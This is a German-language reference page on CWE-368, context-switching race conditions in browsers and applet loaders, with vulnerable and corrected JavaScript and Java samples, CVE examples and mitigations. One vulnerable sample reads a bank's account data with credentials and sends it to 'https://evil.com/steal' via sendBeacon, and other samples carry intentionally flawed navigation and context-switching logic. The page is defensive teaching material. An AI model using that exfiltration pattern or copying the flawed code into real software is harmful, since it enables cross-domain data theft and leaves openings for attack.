Kontextwechsel-Race-Condition

Beschreibung

Kontextwechsel-Race-Condition ist eine Schwachstelle, die auftritt, wenn ein Produkt nicht-atomare Aktionen beim Wechseln zwischen Sicherheitskontexten durchführt, wodurch eine Race Condition entsteht, die Angreifern ermöglicht, das Verhalten während des Übergangs zu modifizieren. Dies tritt häufig in Webbrowsern auf, wenn zwischen vertrauenswürdigen und nicht vertrauenswürdigen Domains gewechselt wird, wo Aktionen mit falsch ausgerichteten Vertrauensstufen ausgeführt werden können - entweder Code von einer nicht vertrauenswürdigen Domain, der mit vertrauenswürdigen Privilegien ausgeführt wird, oder vertrauenswürdiger Code, der mit nicht vertrauenswürdigem Inhalt interagiert. Die Schwachstelle nutzt die Lücke zwischen dem Beginn eines Kontextwechsels und dessen Abschluss aus.

Risiko

Kontextwechsel-Race-Conditions in Browsern können zu Cross-Domain-Datendiebstahl, Session-Hijacking und Sicherheits-Bypass führen. Wenn JavaScript während eines Seitenübergangs ausgeführt wird, kann es im falschen Sicherheitskontext laufen, was Cross-Site-Scripting-ähnliche Angriffe ermöglicht. Adressleisten-Spoofing tritt auf, wenn die URL vor oder nach der tatsächlichen Sicherheitskontextänderung aktualisiert wird, was Benutzer darüber täuscht, mit welcher Seite sie interagieren. Applet- oder Plugin-Laden während Seitenübergängen kann Use-After-Free-Schwachstellen verursachen. Diese Angriffe untergraben die Same-Origin-Policy und Vertrauensindikatoren, auf die Benutzer sich für Sicherheitsentscheidungen verlassen.

Lösung

Stellen Sie sicher, dass Sicherheitskontextübergänge atomar sind und abgeschlossen sind, bevor jede Codeausführung oder Benutzerinteraktion erlaubt wird. Aktualisieren Sie Vertrauensindikatoren (Adressleiste, SSL-Indikatoren) erst, nachdem der neue Kontext vollständig etabliert ist. Verhindern Sie Skriptausführung während Seitenübergängen. Implementieren Sie ordnungsgemäße Isolation zwischen Sicherheitskontexten, damit ausstehende Operationen aus dem alten Kontext den neuen nicht beeinflussen können. Verwenden Sie wo möglich Prozessisolation für verschiedene Sicherheitskontexte. Validieren Sie den Sicherheitskontext vor jeder sensiblen Operation, nicht nur beim Seitenladen.

Häufige Auswirkungen

AuswirkungDetails
IntegritätUmfang: Integrität

Angreifer können Anwendungsdaten modifizieren, indem sie Aktionen im falschen Sicherheitskontext ausführen.
VertraulichkeitUmfang: Vertraulichkeit

Cross-Domain-Datenzugriff ermöglicht Diebstahl sensibler Informationen von anderen Origins.

Beispielcode

Anfälliger Code

// Anfällig: Aktionen während Seitenübergang
// Angreiferseite bei evil.com

window.onbeforeunload = function() {
    // Anfällig: Code läuft während Übergang zu bank.com
    // Kann je nach Timing im Kontext von bank.com ausgeführt werden
    fetch('/api/account', { credentials: 'include' })
        .then(r => r.json())
        .then(data => {
            // Versuch Daten zu exfiltrieren
            navigator.sendBeacon('https://evil.com/steal', JSON.stringify(data));
        });
};

// Zu Bank navigieren während onbeforeunload läuft
location.href = 'https://bank.com';
// Anfällig: URL-Leisten-Spoofing über Race Condition
// Seite lädt Inhalt bevor URL aktualisiert wird

function vulnerableNavigate(url) {
    // URL sofort aktualisieren
    history.pushState(null, '', url);

    // Inhalt lädt später - Race-Fenster für Spoofing
    fetch(url)
        .then(response => response.text())
        .then(html => {
            document.body.innerHTML = html;
        });

    // Benutzer sieht legitime URL aber Inhalt kann angreiferkontrolliert sein
}
// Anfällig: Kontextwechsel beim Applet-Laden
public class VulnerableAppletLoader {

    public void loadApplet(String url, SecurityContext targetContext) {
        // Kontextwechsel beginnen
        SecurityContext oldContext = SecurityContext.current();

        // Anfällig: Applet beginnt zu laden bevor Kontext gesetzt ist
        Applet applet = downloadApplet(url);

        // Race: Applet-Code kann hier mit altem Kontext ausgeführt werden
        SecurityContext.setCurrent(targetContext);

        // Applet im neuen Kontext initialisieren
        applet.init();
    }
}

Korrigierter Code

// Korrigiert: Kontextwechsel vollständig abschließen vor jeder Ausführung
class SecureNavigator {
    async navigate(url) {
        // Korrigiert: Alle Skripte vor Übergang deaktivieren
        document.querySelectorAll('script').forEach(s => s.remove());

        // Korrigiert: Neue Skriptausführung blockieren
        const csp = document.createElement('meta');
        csp.httpEquiv = 'Content-Security-Policy';
        csp.content = "script-src 'none'";
        document.head.appendChild(csp);

        // Korrigiert: Sensible Daten vor Navigation löschen
        this.clearSensitiveState();

        // Korrigiert: Mit vollständigem Seitenersatz navigieren
        window.location.replace(url);
    }

    clearSensitiveState() {
        // Cookies für aktuelle Domain löschen
        // localStorage/sessionStorage löschen
        // Ausstehende Anfragen abbrechen
    }
}
// Korrigiert: Atomare URL- und Inhaltsaktualisierung
async function secureNavigate(url) {
    // Korrigiert: Inhalt zuerst laden, URL nur nach Validierung aktualisieren
    try {
        const response = await fetch(url);
        const html = await response.text();

        // Korrigiert: Verifizieren dass Antwort-Origin mit angeforderter URL übereinstimmt
        if (new URL(response.url).origin !== new URL(url).origin) {
            throw new Error('Unerwartete Weiterleitung');
        }

        // Korrigiert: Inhalt und URL atomar aktualisieren
        document.open();
        document.write(html);
        document.close();
        history.replaceState(null, '', url);

    } catch (error) {
        // Korrigiert: Bei Fehler URL nicht aktualisieren
        console.error('Navigation fehlgeschlagen:', error);
    }
}
// Korrigiert: Atomarer Kontextwechsel
public class SecureAppletLoader {

    public void loadApplet(String url, SecurityContext targetContext) {
        // Korrigiert: Lock für Kontextwechsel erwerben
        synchronized (SecurityContext.class) {
            // Korrigiert: Kontext VOR dem Laden wechseln
            SecurityContext oldContext = SecurityContext.current();
            SecurityContext.setCurrent(targetContext);

            try {
                // Korrigiert: Download und Init im korrekten Kontext
                Applet applet = downloadApplet(url);
                applet.init();
            } catch (Exception e) {
                // Korrigiert: Kontext bei Fehler wiederherstellen
                SecurityContext.setCurrent(oldContext);
                throw e;
            }
        }
    }
}

CVE-Beispiele

  • CVE-2009-1837 — Race Condition während Applet-Laden führte zu Use-After-Free.
  • CVE-2004-2260 — Adressleisten-Spoofing durch Update-Timing.
  • CVE-2004-0191 — JavaScript wurde im falschen Domain-Kontext ausgeführt.

Referenzen

  1. MITRE Corporation. "CWE-368: Context Switching Race Condition." https://cwe.mitre.org/data/definitions/368.html
  2. OWASP. "Clickjacking Defense Cheat Sheet." https://cheatsheetseries.owasp.org/